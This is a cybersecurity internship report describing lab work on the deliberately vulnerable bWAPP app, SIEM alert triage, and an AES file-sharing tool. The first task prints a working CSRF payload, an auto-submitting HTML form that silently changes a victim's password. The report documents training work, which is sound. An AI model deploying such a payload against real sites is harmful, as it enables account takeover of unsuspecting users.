Cybersecurity Internship Report

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# Task 1: Web Application Security Testing

In this task, I was assigned to identify and exploit common vulnerabilities in a web application (bWAPP) hosted in a VirtualBox environment. I tested for Cross-Site Scripting (XSS), SQL Injection, and Cross-Site Request Forgery (CSRF). I used tools like Burp Suite and ZAP for proxy analysis and payload testing.  
  
For CSRF, I created a working proof-of-concept HTML payload to reset a user's password automatically when the victim visited the page. This demonstrated a valid security flaw in the password change functionality.

Sample CSRF Payload Used:

<html>  
 <body>  
 <form action="http://<your\_bWAPP\_IP>/bWAPP/csrf\_1.php" method="POST">  
 <input type="hidden" name="password\_new" value="hacked123" />  
 <input type="hidden" name="password\_conf" value="hacked123" />  
 <input type="submit" value="Submit form" />  
 </form>  
 <script>document.forms[0].submit();</script>  
 </body>  
</html>

# Task 2: SIEM Alert Monitoring and Incident Response

In this task, I analyzed simulated alerts using a SIEM platform. I practiced classifying security alerts into categories such as Reconnaissance, Credential Access, and Exfiltration. I generated a timeline of events, assessed the impact, and drafted incident response emails.  
  
Key skills demonstrated: event correlation, log analysis, alert prioritization, and report documentation for stakeholders.

# Task 3: Secure File Sharing System with Encryption

For this task, I designed a basic encrypted file-sharing application using Python. The system supports AES encryption to ensure confidentiality and integrity of shared files between users. I documented the source code, tested the encryption/decryption routines, and ensured files could not be accessed without the correct keys.

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# Reflection and Conclusion

This internship has expanded my hands-on understanding of real-world cybersecurity tools and techniques. Through vulnerability testing, alert handling, and secure system design, I have developed critical analytical and technical skills.  
  
I am confident that the knowledge gained will aid in my continued growth as a cybersecurity professional.